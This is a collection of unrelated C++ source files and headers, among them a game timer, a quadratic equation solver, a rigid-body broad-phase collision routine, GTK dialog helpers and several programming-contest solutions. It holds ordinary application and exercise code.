//--------------------------------------------------------------------------------------------------- iberbar::CTimer::~CTimer() { } //--------------------------------------------------------------------------------------------------- bool iberbar::CTimer::start( float fTimeout, bool bLoop, PTR_CUnknown pTimerHandler, PTimerProc pTimerProc ) { // 需要先停止,或者刚刚创建的timer if ( m_bEnabled == true ) return false; if ( pTimerHandler == NULL || (CRef*)pTimerHandler == this ) return false; if ( pTimerProc == NULL ) return false; if ( fTimeout < 0.0001f ) return false; m_bEnabled = true; m_fTimeout = fTimeout; m_fCountdown = fTimeout; m_bLoop = bLoop; m_pTimerFunc = pTimerProc; m_pTimerHandler = pTimerHandler; m_nScale = 1.0f; m_bEnableScale = false; resume(); return true; } //--------------------------------------------------------------------------------------------------- void iberbar::CTimer::stop() { m_bEnabled = false; } //--------------------------------------------------------------------------------------------------- void iberbar::CTimer::pause() { m_bPause = true; } //--------------------------------------------------------------------------------------------------- void iberbar::CTimer::resume() { m_bPause = false; } //--------------------------------------------------------------------------------------------------- void iberbar::CTimer::scale( bool bEnable, float nScaleParams ) { m_bEnableScale = bEnable; if ( bEnable == true ) { m_nScale = nScaleParams; if ( m_nScale < 0.0001f ) m_nScale = 0.0001f; } } //--------------------------------------------------------------------------------------------------- void iberbar::CTimer::onRun( float fElapseTime ) { if ( m_bEnabled && m_bPause == false ) { if ( m_bEnableScale == true ) m_fCountdown -= fElapseTime * m_nScale; else m_fCountdown -= fElapseTime; if ( m_fCountdown < 0.0f ) { if ( m_bLoop ) m_fCountdown += m_fTimeout; else m_bEnabled = false; // destroy ( m_pTimerHandler->*m_pTimerFunc )( this ); } } } //--------------------------------------------------------------------------------------------------- void iberbar::CTimer::onDestroy() { m_pTimerHandler = NULL; m_pTimerFunc = NULL; } // bool iberbar::CTimer::InitialSystem() // { // return true; // } // // // void iberbar::CTimer::DestroySystem() // { // if ( g_Timers.empty() == false ) // { // TimerList::iterator lc_node = g_Timers.begin(); // TimerList::iterator lc_end = g_Timers.end(); // for ( ; lc_node != lc_end; lc_node ++ ) // { // ( *lc_node )->pause(); // ( *lc_node )->stop(); // ( *lc_node )->onDestroy(); // ( *lc_node ) = NULL; // } // g_Timers.clear(); // } // // if ( g_TimersCreate.empty() == false ) // { // g_TimersCreate.clear(); // } // } // // // void iberbar::CTimer::RunSystem( float nElapsedTime ) // { // // 把新增加的timer添加到更新队列中,然后清空新增队列 // if ( g_TimersCreate.empty() == false ) // { // TimerList::iterator lc_iter = g_TimersCreate.begin(); // TimerList::iterator lc_end = g_TimersCreate.end(); // for ( ; lc_iter != lc_end; lc_iter++ ) // g_Timers.push_back( *lc_iter ); // g_TimersCreate.clear(); // } // // // 更新队列进行更新 // if ( g_Timers.empty() == false ) // { // TimerList::iterator lc_node = g_Timers.begin(); // TimerList::iterator lc_end = g_Timers.end(); // PTR_CTimer lc_timer( NULL ); // for ( ; lc_node != lc_end; ) // { // lc_timer = ( *lc_node ); // // if ( lc_timer->isEnable() == false ) // { // lc_timer->onDestroy(); // lc_node = g_Timers.erase( lc_node ); // lc_end = g_Timers.end(); // } // else // { // lc_timer->onRun( nElapsedTime ); // // lc_node ++; // } // // lc_timer = NULL; // } // } // } // // // iberbar::Timer iberbar::CTimer::CreateTimer() // { // Timer lc_timer; // lc_timer.attach( new Timer::_InterfaceT() ); // g_TimersCreate.push_back( lc_timer ); // return lc_timer; // } // // // void iberbar::CTimer::DestroyTimer( Timer timer ) // { // if ( timer ) // { // timer->pause(); // timer->stop(); // } // }
#include <iostream> #include <cmath> #include <cassert> using std::cout; using std::cin; using std::endl; using std::abs; class Data { public: double a; double b; double c; double x1; double x2; int result; Data() { }; Data(double a, double b, double c) { this->a = a; this->b = b; this->c = c; }; }; bool isEqual(double n, double m) { if(abs(m - n) < 0.0000000001) { return 1; } return 0; } void discriminant(Data *data) { double D = pow(data->b, 2) - 4 * data->a * data->c; if (D > 0) { data->x1 = (-data->b + sqrt(D)) / (2 * data->a); data->x2 = (-data->b - sqrt(D)) / (2 * data->a); data->result = 2; } else if (D == 0) { data->x1 = (-data->b) / (2 * data->a); data->result = 1; } else { data->result = 0; } } void calculateX(Data *data) { double a = data->a; double b = data->b; double c = data->c; if (isEqual(a,0)) { if (isEqual(b,0)) { data->result = 0; } if (!isEqual(b,0)) { if (isEqual(c,0)) { data->x1 = 0; data->result = 1; } if (!isEqual(c,0)) { data->x1 = -data->c/data->b; data->result = 1; } } } if (!isEqual(a,0)) { discriminant(data); } } void print(Data data) { cout << "a = " << data.a << endl; cout << "b = " << data.b << endl; cout << "c = " << data.c << endl; cout << "Our ninjas did the math." << endl; cout << "" << endl; if (data.result == 0) { cout << "0 roots" << endl; } if (data.result == 1) { cout << "x = "<< data.x1 << endl; } if (data.result == 2) { cout << "x1 = "<< data.x1 << endl; cout << "x2 = "<< data.x2 << endl; } cout << "" << endl; }
#include "Physics.h" #define AABB_EXPAND 0.01f //TODO: bool Physics::IntersectAABB(const Vector3 &centerA, const Vector3 &halfA, const Vector3 &centerB, const Vector3 &halfB){ if (fabs(centerA[0] - centerB[0]) > halfA[0] + halfB[0]) return false; if (fabs(centerA[1] - centerB[1]) > halfA[1] + halfB[1]) return false; if (fabs(centerA[2] - centerB[2]) > halfA[2] + halfB[2]) return false; return true; } //ブロードフェーズ void Physics::BroadPhase(RigidbodyState* states, Collider* colliders, unsigned int numRigidbodies, const Pair *oldPairs, const unsigned int numOldPairs, Pair *newPairs, unsigned int &numNewPairs, const unsigned int maxPairs, DefaultAllocator* allocator, void *userData, BroadPhaseCallback callback = NULL ){ assert(states); assert(colliders); assert(oldPairs); assert(newPairs); assert(allocator); numNewPairs = 0; // AABB交差ペアを見つける(総当たり) // TODO:高速化 for (unsigned int i = 0; i<numRigidbodies; i++) { for (unsigned int j = i + 1; j<numRigidbodies; j++) { const RigidbodyState &stateA = states[i]; const Collider &collidableA = colliders[i]; const RigidbodyState &stateB = states[j]; const Collider &collidableB = colliders[j]; if (callback && !callback(i, j, userData)) { continue; } Matrix3 orientationA(stateA.m_orientation); Vector3 centerA = stateA.m_position + orientationA * collidableA.m_center; Vector3 halfA = absPerElem(orientationA) * (collidableA.m_half + Vector3(AABB_EXPAND));// AABBサイズを若干拡張 Matrix3 orientationB(stateB.m_orientation); Vector3 centerB = stateB.m_position + orientationB * collidableB.m_center; Vector3 halfB = absPerElem(orientationB) * (collidableB.m_half + Vector3(AABB_EXPAND));// AABBサイズを若干拡張 if (IntersectAABB(centerA, halfA, centerB, halfB) && numNewPairs < maxPairs) { //衝突情報を管理するクラスを作成 Pair &newPair = newPairs[numNewPairs++]; newPair.rigidBodyA = i<j ? i : j; newPair.rigidBodyB = i<j ? j : i; newPair.contact = NULL; } } } // ソート { Pair *sortBuff = (Pair*)allocator->allocate(sizeof(Pair)*numNewPairs); Sort<Pair>(newPairs, sortBuff, numNewPairs); allocator->deallocate(sortBuff); } // 新しく検出したペアと過去のペアを比較 Pair *outNewPairs = (Pair*)allocator->allocate(sizeof(Pair)*numNewPairs); Pair *outKeepPairs = (Pair*)allocator->allocate(sizeof(Pair)*numOldPairs); assert(outNewPairs); assert(outKeepPairs); unsigned int nNew = 0; unsigned int nKeep = 0; unsigned int oldId = 0, newId = 0; while (oldId<numOldPairs&&newId<numNewPairs) { if (newPairs[newId].key > oldPairs[oldId].key) { // remove allocator->deallocate(oldPairs[oldId].contact); oldId++; } else if (newPairs[newId].key == oldPairs[oldId].key) { // keep assert(nKeep <= numOldPairs); outKeepPairs[nKeep] = oldPairs[oldId]; nKeep++; oldId++; newId++; } else { // new assert(nNew <= numNewPairs); outNewPairs[nNew] = newPairs[newId]; nNew++; newId++; } }; if (newId<numNewPairs) { // all new for (; newId<numNewPairs; newId++, nNew++) { assert(nNew <= numNewPairs); outNewPairs[nNew] = newPairs[newId]; } } else if (oldId<numOldPairs) { // all remove for (; oldId<numOldPairs; oldId++) { allocator->deallocate(oldPairs[oldId].contact); } } for (unsigned int i = 0; i<nNew; i++) { outNewPairs[i].contact = (Contact*)allocator->allocate(sizeof(Contact)); outNewPairs[i].contact->Reset(); } for (unsigned int i = 0; i<nKeep; i++) { outKeepPairs[i].contact->Refresh( states[outKeepPairs[i].rigidBodyA].m_position, states[outKeepPairs[i].rigidBodyA].m_orientation, states[outKeepPairs[i].rigidBodyB].m_position, states[outKeepPairs[i].rigidBodyB].m_orientation); } numNewPairs = 0; for (unsigned int i = 0; i<nKeep; i++) { outKeepPairs[i].type = PairTypeKeep; newPairs[numNewPairs++] = outKeepPairs[i]; } for (unsigned int i = 0; i<nNew; i++) { outNewPairs[i].type = PairTypeNew; newPairs[numNewPairs++] = outNewPairs[i]; } allocator->deallocate(outKeepPairs); allocator->deallocate(outNewPairs); // ソート { Pair *sortBuff = (Pair*)allocator->allocate(sizeof(Pair)*numNewPairs); Sort<Pair>(newPairs, sortBuff, numNewPairs); allocator->deallocate(sortBuff); } }
#pragma once #include "Scene.h" class TitleScene : public Scene { private: int _titleImgH; int _topnumImgH; int _pointnumImgH; int _mountainImgH; int _count; int _Interval; float _wait; void (TitleScene::*_updater)(const Peripheral&); void FadeinUpdate(const Peripheral&); void NormalUpdate(const Peripheral&); void FadeoutUpdate(const Peripheral&); public: TitleScene(); ~TitleScene(); void Update(const Peripheral& p); void Draw(); };
#ifndef IO_H #define IO_H #include <iostream> #include <fstream> #include <cstring> #include <sstream> #include <algorithm> #include <dirent.h> #include <errno.h> class IO { private: char diretorio_entradas[200]; std::string nome_entrada; const char *pega_caminho_diretorio(); void executa_carrega_fase(char *caminho_diretorio, bool **matriz, int num_linhas, int num_colunas, int *tipo_material); public: IO(std::string = ""); ~IO() {}; char *pega_diretorio_entradas() { return diretorio_entradas; }; std::string pega_nome_entrada() { return nome_entrada; }; void define_nome_entrada(std::string nome_arquivo) { nome_entrada = nome_arquivo; }; void carrega_fase(int fase, bool **matriz, int num_linhas, int num_colunas, int *tipo_material); }; #endif // IO_H
#include "dialogs.h" // A message is like cout, simply displaying information to the user void Dialogs::message(string msg, string title) { Gtk::MessageDialog *dialog = new Gtk::MessageDialog(title); dialog->set_secondary_text(msg, true); dialog->run(); dialog->close(); while (Gtk::Main::events_pending()) Gtk::Main::iteration(); delete dialog; } // A question is a message that allows the user to respond with a button int Dialogs::question(string msg, string title, vector<string> buttons) { Gtk::Dialog *dialog = new Gtk::Dialog(); dialog->set_title(title); Gtk::Label *label = new Gtk::Label(msg); dialog->get_content_area()->pack_start(*label); label->show(); for(unsigned int i=0; i < buttons.size(); ++i) dialog->add_button(buttons[i], i); int result = dialog->run(); dialog->close(); while (Gtk::Main::events_pending()) Gtk::Main::iteration(); delete label; delete dialog; return result; } vector<string> Dialogs::addPub(string title, vector<string> input, int * genre, int * media, int * age) { Gtk::Dialog * dialog = new Gtk::Dialog(); dialog->set_title(title); vector<Gtk::Label *> labels; vector<Gtk::Entry *> entries; for (unsigned int i = 0; i < input.size(); i++) { Gtk::Label * label = Gtk::manage(new Gtk::Label(input[i])); dialog->get_content_area()->pack_start(*label); label->show(); labels.push_back(label); Gtk::Entry * entry = Gtk::manage(new Gtk::Entry{}); entry->set_max_length(75); entry->show(); dialog->get_vbox()->pack_start(*entry); entries.push_back(entry); } Gtk::Label l_genre{"Genre"}; l_genre.set_width_chars(15); dialog->get_content_area()->pack_start(l_genre); l_genre.show(); Gtk::ComboBoxText c_genre; c_genre.set_size_request(160); c_genre.append("Fiction"); c_genre.append("Non-fiction"); c_genre.append("Self Help"); c_genre.append("Performance"); dialog->get_vbox()->pack_start(c_genre); c_genre.show(); Gtk::Label l_media{"Media"}; l_media.set_width_chars(15); dialog->get_content_area()->pack_start(l_media); l_media.show(); Gtk::ComboBoxText c_media; c_media.set_size_request(160); c_media.append("Book"); c_media.append("Periodical"); c_media.append("Newspaper"); c_media.append("Audio"); c_media.append("Video"); dialog->get_vbox()->pack_start(c_media); c_media.show(); Gtk::Label l_age{"Age"}; l_age.set_width_chars(15); dialog->get_content_area()->pack_start(l_age); l_age.show(); Gtk::ComboBoxText c_age; c_age.set_size_request(160); c_age.append("Children"); c_age.append("Teen"); c_age.append("Adult"); c_age.append("Restricted"); dialog->get_vbox()->pack_start(c_age); c_age.show(); dialog->add_button("Done", 0); dialog->set_default_response(1); dialog->run(); vector<string> output; for (unsigned int i = 0; i < entries.size(); i++) { output.push_back(entries[i]->get_text()); } dialog->close(); while (Gtk::Main::events_pending()) Gtk::Main::iteration(); *genre = c_genre.get_active_row_number(); *media = c_media.get_active_row_number(); *age = c_age.get_active_row_number(); delete dialog; return output; } // allow multiple Gtk::Entry fields in one dialog vector<string> Dialogs::multiInput(string title, vector<string> input_strings) { Gtk::Dialog * dialog = new Gtk::Dialog(); dialog->set_title(title); vector<Gtk::Label *> labels; vector<Gtk::Entry *> entries; for (unsigned int i = 0; i < input_strings.size(); i++) { Gtk::Label * label = new Gtk::Label(input_strings[i]); dialog->get_content_area()->pack_start(*label); label->show(); labels.push_back(label); Gtk::Entry * entry = new Gtk::Entry{}; entry->set_max_length(75); entry->show(); dialog->get_vbox()->pack_start(*entry); entries.push_back(entry); } dialog->add_button("Done", 0); dialog->set_default_response(1); dialog->run(); vector<string> output; for (unsigned int i = 0; i < entries.size(); i++) { output.push_back(entries[i]->get_text()); } dialog->close(); while (Gtk::Main::events_pending()) Gtk::Main::iteration(); /* CLEANUP */ for (unsigned int i = 0; i < entries.size(); i++) { delete labels[i]; delete entries[i]; } delete dialog; return output; } // A request for a line of text input string Dialogs::input(string msg, string title, string default_text, string cancel_text) { Gtk::Dialog *dialog = new Gtk::Dialog(); dialog->set_title(title); Gtk::Label *label = new Gtk::Label(msg); dialog->get_content_area()->pack_start(*label); label->set_markup(msg); label->show(); dialog->add_button("Cancel", 0); dialog->add_button("OK", 1); dialog->set_default_response(1); Gtk::Entry *entry = new Gtk::Entry{}; entry->set_text(default_text); entry->set_max_length(50); entry->show(); dialog->get_vbox()->pack_start(*entry); int result = dialog->run(); string text = entry->get_text(); dialog->close(); while (Gtk::Main::events_pending()) Gtk::Main::iteration(); delete entry; delete label; delete dialog; if (result == 1) return text; else return cancel_text; } // Display an image from a disk file void Dialogs::image(string filename, string title, string msg) { Gtk::Dialog *dialog = new Gtk::Dialog(); dialog->set_title(title); Gtk::Label *label = new Gtk::Label(msg); dialog->get_content_area()->pack_start(*label); label->show(); dialog->add_button("Close", 0); dialog->set_default_response(0); Gtk::Image *image = new Gtk::Image{filename}; image->show(); dialog->get_vbox()->pack_start(*image); dialog->run(); dialog->close(); while (Gtk::Main::events_pending()) Gtk::Main::iteration(); delete image; delete label; delete dialog; return; }
#include <iostream> using namespace std; int cube(int number) { int result = number * number * number; return result; } int main() { int number; cout << "enter the number: "; cin >> number; cout << cube(number) << endl; }
// // main.cpp // rod-cut // // Created by mndx on 26/10/2021. // #include <iostream> #include <stdio.h> #include <vector> #include <stdlib.h> #include <time.h> #include "cut_rod.hpp" #include "cut_rod_ref.hpp" #include "user_types.hpp" int main(int argc, char* argv[]) { int N = 100; //Total length of the rod int *A = new int[N]; //Cost array for the rod //Arrays to store solution bool *rod_cut_at = new bool[N+1]; int *cut_counter = new int[N+1]; //Initialize cost array with random numbers srand((unsigned) time(NULL)); for(int i = 0; i < N; ++i) { A[i] = rand() % 4 + (5*i)/2; } //Get maximum revenue int max_rev = get_optimum_solution(N, A, rod_cut_at, cut_counter); //Print results printf("total length of rod n: %d\n", N); printf("total revenue: %d\n", max_rev); for(int i = 0; i < N + 1; ++i) { if(rod_cut_at[i] == true) { printf("rod cut at %i a total of %i times\n", i, cut_counter[i]); } } //Print reference solution print_cut_rod_sol(A, N); //Verify computation int total_rev = 0; for(int i = 1; i < N + 1; ++i) { if(rod_cut_at[i] == true) { total_rev = total_rev + cut_counter[i]*A[i-1]; } } printf("total revenue verification: %i\n", total_rev); printf("done\n"); return 0; }
#include<iostream> #include<cstdio> #include<map> #include<set> #include<vector> #include<stack> #include<queue> #include<string> #include<cstring> #include<sstream> #include<algorithm> #include<cmath> using namespace std; const double inf = 1e9; int n; double l,c,t,vr,vt1,vt2; double f[110][2],a[110]; double fig(double l,int k) { double ans; if (k == 0) ans = l/vt2; else { if (l > c) ans = c/vt1 + (l-c)/vt2; else ans = l/vt1; } return ans; } int main() { while (scanf("%lf",&l) != EOF) { memset(f,0,sizeof(f)); scanf("%d%lf%lf",&n,&c,&t); scanf("%lf%lf%lf",&vr,&vt1,&vt2); for (int i = 1;i <= n; i++) { scanf("%lf",&a[i]); f[i][0] = f[i][1] = inf; } a[++n] = l; f[n][0] = f[n][1] = inf; f[0][1] = f[0][0] = 0; for (int i = 1;i <= n; i++) { for (int j = 0;j < i; j++) f[i][0] = min(f[i][0],min(f[j][0]+fig(a[i]-a[j],0),f[j][1]+fig(a[i]-a[j],1))); f[i][1] = f[i][0] + t; //printf("%.2lf %.2lf\n",f[i][0],f[i][1]); } if (f[n][0] > l/vr) printf("Good job,rabbit!\n"); else printf("What a pity rabbit!\n"); } return 0; }
/* * UserRespositoryClient.cc * * Created on: Nov 11, 2017 * Author: cis505 */ #include "UserRepositoryClient.h" UserDTO UserRepositoryClient::getUser(string username) { ClientContext context; GetUserRequest request; request.set_username(username); UserDTO user; cerr << "Calling GetUser stub. " << endl; Status status = stub_->GetUser(&context, request, &user); cerr << "Done calling GetUser stub." << endl; if (!status.ok()) { // log cerr << "GetUser rpc failed." << endl; } else { cerr << "GetUser success." << endl; } return user; } CreateUserResponse UserRepositoryClient::createUser(UserDTO user) { ClientContext context; CreateUserResponse response; Status status = stub_->CreateUser(&context, user, &response); if (!status.ok()) { // log cerr << "GetUser rpc failed." << endl; } else { cerr << "GetUser rpc responded." << endl; if (response.success()) { cerr << "Successfully added user " << user.username() << endl; } else { cerr << "Failed to add user " << user.username() << ": " << response.message() << endl; } } return response; }
#include <iostream> #include <vector> #include <unordered_map> #include <unordered_set> #include <queue> #include <utility> using namespace std; // 1つだけテスト通らなかった(stack-overflow) class Solution { public: string minWindow(string s, string t) { size_t size = s.size(); for(char c: t){ if(dict.count(c)){ dict.insert({c, 0}); inWindow.insert({c, 0}); } dict[c]++; } cout << s.size() << endl; cout << dict.size() << endl; for(int i=0; i<s.size(); i++){ if(dict.count(s[i])){ filtered.push_back(make_pair(s[i], i)); } } cout << filtered.size() << endl; rightMove(0, 0, dict.size()); string ans = ""; if(range.second < INT_MAX){ cout << "aaa" << endl; ans = s.substr(range.first, range.second); } return ans; } void rightMove(size_t left, size_t right, const size_t size){ if(right >= filtered.size()){ return; } char c = filtered[right].first; inWindow[c]++; if(dict[c] == inWindow[c]){ count++; } if(count >= size){ leftMove(left, right, size); }else{ rightMove(left, ++right, size); } } void leftMove(size_t left, size_t right, const size_t size){ if(left >= filtered.size()){ return; } char c = filtered[left].first; if(dict[c] >= inWindow[c]){ inWindow[c]--; count--; int len = filtered[right].second - filtered[left].second + 1; if(range.second > len){ cout << filtered[left].second << ", " << len << endl; cout << "left = " << left << ", right = " << right << endl; range = make_pair(filtered[left].second, len); } rightMove(++left, ++right, size); }else{ inWindow[c]--; leftMove(++left, right, size); } } private: int count = 0; pair<int, int> range = make_pair(0, INT_MAX); unordered_map<char, int> dict; unordered_map<char, int> inWindow; vector<pair<char, int>> filtered; }; int main(void){ return 0; }
#include "request_handler.h" namespace handler { optional<BusStat> RequestHandler::get_bus_stat(const string_view& bus_name) const { if (db_.get_bus(bus_name).check) return db_.get_bus(bus_name); else return nullopt; } const set<BusPtr>* RequestHandler::get_buses_by_stop(const string_view& stop_name) const { if (!db_.get_stop(stop_name)->empty()) return db_.get_stop(stop_name); else return nullptr; } svg::Document RequestHandler::render_map() const { return renderer_.get_settings(); } }
#include<iostream> #include<vector> #include<cctype> #include<algorithm> using namespace std; class Solution { public: bool isPalindrome(string s) { //基本思想:递归,左右下标所指字符都转为小写字符比较是否相等,如果不相等返回false,否则left++right--继续比较下一对字符 return Recursion(s, 0, s.size() - 1); } bool Recursion(string& s, int left, int right) { //递归终止条件 if (left == right || left > right) return true; if (!isalnum(s[left])) return Recursion(s, left + 1, right); if (!isalnum(s[right])) return Recursion(s, left, right - 1); if (tolower(s[left]) != tolower(s[right])) return false; else return Recursion(s, left + 1, right - 1); } }; class Solution1 { public: bool isPalindrome(string s) { //基本思想:迭代,左右下标所指字符都转为小写字符比较是否相等,如果不相等返回false,否则left++right--继续比较下一对字符 int left = 0, right = s.size() - 1; while (left < right) { if (!isalnum(s[left])) { left++; continue; } if (!isalnum(s[right])) { right--; continue; } if (tolower(s[left]) != tolower(s[right])) return false; left++; right--; } return true; } }; int main() { Solution solute; string s = "A man, a plan, a canal: Panama"; cout << solute.isPalindrome(s) << endl; return 0; }
// // GnIListPageCtrl.h // Core // // Created by Max Yoon on 11. 7. 28.. // Copyright 2011년 __MyCompanyName__. All rights reserved. // #ifndef Core_GnIListPageCtrl_h #define Core_GnIListPageCtrl_h #include "GnIListCtrl.h" class GnIListPageCtrl : public GnInterfaceGroup { enum ePageMove { eMovePosNext, eMovePosPrevious, eMoveStop, }; public: gtuint mColumnSize; gtuint mRowSize; gtuint mCurrentPage; ePageMove mPageMoveFlag; GnVector2 mStartUIPosition; GnVector2 mEndUIPosition; GnVector2 mTotalMovePosition; GnVector2 mAcumMovePosition; GnTimer mTimer; GnTPrimitiveArray<GnIListCtrl*> mListCtrls; GnTPrimitiveSet< GnBaseSlot2< GnInterface*, GnIInputEvent*>* > mSignalSet; public: static GnIListPageCtrl* CreateListCtrl(GnVector2 cStartUIPosition, GnVector2 cEndUIPosition , gtuint uiNumPage, gtuint numColumn, gtuint numRow, float fColumnGab, float fRowGab); public: void InitListCtrl(GnVector2 cStartUIPosition, GnVector2 cEndUIPosition, gtuint uiNumColumn, gtuint uiNumRow , float fColumnGab, float fRowGab); void SetNextPage(); void SetPreviousPage(); void SetPage(gtuint uiNumPage); void SetItem(gtuint uiNumPage, gtuint uiNumCol, gtuint uiNumRow, GnIListCtrlItem* pItem); public: virtual void Update(float fDeltaTime); void SubscribeClickedEvent(GnBaseSlot2<GnInterface*, GnIInputEvent*>* pSlot); public: inline gtuint GetColumnSize() { return mColumnSize; } inline gtuint GetRowSize() { return mRowSize; } inline gtuint GetPageSize() { return mListCtrls.GetAllocatedSize(); } inline gtuint GetCurrentPage() { return mCurrentPage; } protected: inline GnIListPageCtrl() : mCurrentPage( 0 ), mPageMoveFlag( eMoveStop ) {} void MovePosNext(GnVector2 cMoveDelta); void MovePosPrevious(GnVector2 cMoveDelta); void MoveAlpha(); void SetListCtrlSubscribeClickedEvent(); void MovingCheck(); protected: inline void SetNumPage(gtuint uiPage) { mListCtrls.SetSize( uiPage ); } // inline gtuint GetOnePageColumnCount() { // return GetNumColumn() / GetNumPage(); // } }; #endif
#ifndef DESENHA_H #define DESENHA_H #include <GL/glut.h> #include "aux.h" #include "tabuleiro.h" #include "triangulo.h" #include "vertice.h" #include "plano.h" #include "esfera.h" #include "bloco.h" #include "camera.h" #include "glcTexture.h" #include "skybox.h" #include "glcWavefrontObject.h" #include "gameController.h" class Bloco; class Triangulo; class Tabuleiro; class Desenha { private: void desenha_plano(Plano *plano, bool inv, int normal_dir); void desenha_triangulo(Triangulo *triangulo, bool inv, int normal_dir); void desenha_normal(Triangulo *triangulo, int dir); void desenha_parede_leste_tabuleiro(Tabuleiro *tabuleiro, glcTexture *textureManager) const; void desenha_parede_oeste_tabuleiro(Tabuleiro *tabuleiro, glcTexture *textureManager) const; public: /// CONSTRUCTOR & DESTRUCTOR Desenha(); virtual ~Desenha(); void desenha_tabuleiro(Tabuleiro *tabuleiro, glcTexture *textureManager); void desenha_esfera(Esfera *esfera); void desenha_bloco(Bloco *bloco); void desenha_seta_direcao(Esfera *esfera, double angulo_disparo); void desenha_vetor_direcao_esfera(Esfera *esfera); void desenha_matriz_blocos(Bloco ***matriz, int blocos_Col, int blocos_lin); void desenha_objetos_importados(glcWavefrontObject *gerenciador_de_objetos, Esfera *geracao_esfera_1, Esfera *geracao_esfera_2); void desenha_texto_nivel(GameController *controlador_de_jogo); void desenha_vidas(GameController *controlador_de_jogo, Vertice *ponto_inicial_vidas); void desenha_skybox(glcTexture *textureManager, Camera *camera, Skybox *skybox, bool rotacao_em_conjunto); void desenha_rebatedor(Pad *rebatedor, glcTexture *textureManager); }; #endif // DESENHA_H
// // ... standard header files // #include <iostream> // // ... integer header files // #include <integer/integer.hpp> int main(int, char**) { // ::integer::integer<32> i{}; std::cout << __cplusplus << std::endl; return 0; }
/* 201012 LG codepro - [19년도 5차] 인기투표 1. 이진탐색 이름 알파벳 순으로 정렬-> 이진탐색으로 같은 이름의 lower~upper 까지 합: O(NM) 2. Hash Table 사용 */ #include <iostream> #include <stdlib.h> #include <string.h> using namespace std; int N;//후보자수 char str[10000 + 10][20 + 10];//후보자 이름 int M;//투표참가인원 char name[100000 + 10][20 + 10];//투표용지에 써있는 이름 int score[100000 + 10];//점수 int idx[100000 + 10]; typedef struct{ int id; int score; } STRSUM; int comp(const void *a, const void*b ) { const int x=*(const int*)a, y=*(const int*)b; return strcmp(name[x], name[y]); } int comp2(const void *data1, const void* data2) { const STRSUM x=*(const STRSUM*)data1, y=*(const STRSUM*)data2; if ( x.score == y.score ) { return x.id>y.id; } return x.score<y.score; } int bslow(int s, int e, int d) { int m, sol=-1, r; while( s<=e ) { m = (s+e)/2; r = strcmp( name[idx[m]], str[d] ); if ( r==0 ) { sol=m; e=m-1; } else if (r>0) e=m-1; else s=m+1; } return sol; } // Pass Rate (8/10) // why??? void solve_binary() { int i, j, low; STRSUM data[10000+10]; for(i=0; i<M; i++) { idx[i] = i; } qsort(idx, M, sizeof(idx[0]), comp); cout<<"=============="<<endl; for(int i=0; i<M; i++) { cout<<idx[i]<<" "<<name[idx[i]]<<endl; } cout<<"=============="<<endl; int dataSize=0; for(i=0; i<N; i++) { data[i].id = i; data[i].score=0; low = bslow(0, M-1, i); if ( low<0 ) continue; dataSize++; for(j=low; (j<M) && !strcmp(str[i], name[idx[j]]); j++) { data[i].score += score[idx[j]]; } cout<<" *** "<<str[data[i].id]<<" "<<data[i].score<<endl; } cout<<"dataSize : "<<dataSize<<endl; qsort(data, dataSize, sizeof(data[0]), comp2); cout<<"======data========"<<endl; for(int i=0; i<dataSize; i++) { cout<<str[data[i].id]<<" "<<data[i].score<<endl; } cout<<"=============="<<endl; for(int i=0; i<3; i++) { cout<<str[data[i].id]<<" "<<data[i].score<<endl; } } void InputData(){ int i; cin >> N; for (i = 0; i < N; i++){ cin >> str[i]; } cin >> M; for (i = 0; i < M; i++){ cin >> name[i] >> score[i]; } } int main(){ InputData();// 입력 함수 solve_binary(); return 0; }
#ifndef RRG_BUTTON_H #define RRG_BUTTON_H #include "control.h" namespace RRG { class Button : public Control { public: Button(); virtual ~Button(); private: }; } #endif
#ifndef CFontH #define CFontH #include<stdio.h> #include<stdlib.h> #include<windows.h> #include<CTextureLoader.h> #include<glaux.h> class CFont { private: GLuint Texture; float PosX, PosY; void DrawChar(int X, int Y); void DrawChar(char c); public: CFont(); ~CFont(); float Size; void LoadTexture(char *filename); void DrawText(char *text, float X, float Y); }; #endif
// main.cpp #include <memory> #include "BlobCrystallinOligomer/param.h" #include "BlobCrystallinOligomer/config.h" #include "BlobCrystallinOligomer/energy.h" #include "BlobCrystallinOligomer/random_gens.h" #include "BlobCrystallinOligomer/simulation.h" int main(int argc, char* argv[]) { using std::unique_ptr; using std::make_unique; param::InputParams params {argc, argv}; auto random_num {make_unique<random_gens::RandomGens>()}; auto conf {make_unique<config::Config>(params, *random_num)}; auto ene {make_unique<energy::Energy>(*conf, params)}; simulation::NVTMCSimulation sim {*conf, *ene, params, *random_num}; sim.run(); }
#ifndef MOVEEVENT_H #define MOVEEVENT_H #include "Event.h" class Field::MoveEvent : public Field::Event { public: MoveEvent(void); void exec(void); }; #endif
../1058/E.cpp
//https://www.hackerrank.com/challenges/alternating-characters //How many characters do you have to delete to get to a string that contains //alternating characters //String will contain only A and B characters #include <cmath> #include <cstdio> #include <vector> #include <iostream> #include <algorithm> #include <string> using namespace std; int dels(string s) { int count = 0; if (s.size() <= 1) { return 0; } string spot = s.substr(0,1); //character to compare for(int i=1; i<s.size(); i++) { //If the current one equals the spot... assume we delete it if (s.substr(i,1) == spot) { count++; } else { spot = s.substr(i,1); } } return count; } int main() { int T; cin >> T; while (T--) { string bad; cin >> bad; cout << dels(bad) << endl; } return 0; }
#pragma once #include "stdafx.h" class Contact { public: Contact(QString addName, QString addPixMap); QString getName(); QString getPix(); private: QString name; QString picture; };
#pragma once #include "../../Graphics/Image/Image.h" #include "../../Graphics/Image/ImageHDR.h" #include "../../UI/Dependencies/IncludeImGui.h" namespace ae { namespace priv { namespace ui { inline void ImageToEditor( Image& ) { ImGui::Text( "Image" ); ImGui::Separator(); } inline void ImageToEditor( ImageHDR& ) { ImGui::Text( "Image HDR" ); ImGui::Separator(); } } } // priv } // ae
#pragma once #include"ybBasicMacro.h" NS_YB_BEGIN template<class T, int row, int column> class Matrix { public: enum { Row = row, Column = column }; Matrix(bool init=1) { memset(_data,0,sizeof(T)*row*column); } double& operator()(int row, int column) { return _data[row][column]; } double Element(int row, int column) const { return _data[row][column]; } private: T _data[row][column]; }; typedef Matrix<double, 4, 4> Matrix4x4; typedef Matrix<double, 3, 3> Matrix3x3; NS_YB_END
#include <iostream> #include <string> int main(){ char temp; std::string str = "98745872"; char* p1 = &str[0]; char* p2 = &str[str.size() - 1]; for(int i = 0; i < str.size() / 2 ;i++){ temp = *p1; *p1 = *p2; *p2 = temp; ++p1; --p2; } std::cout << str; return 0; }
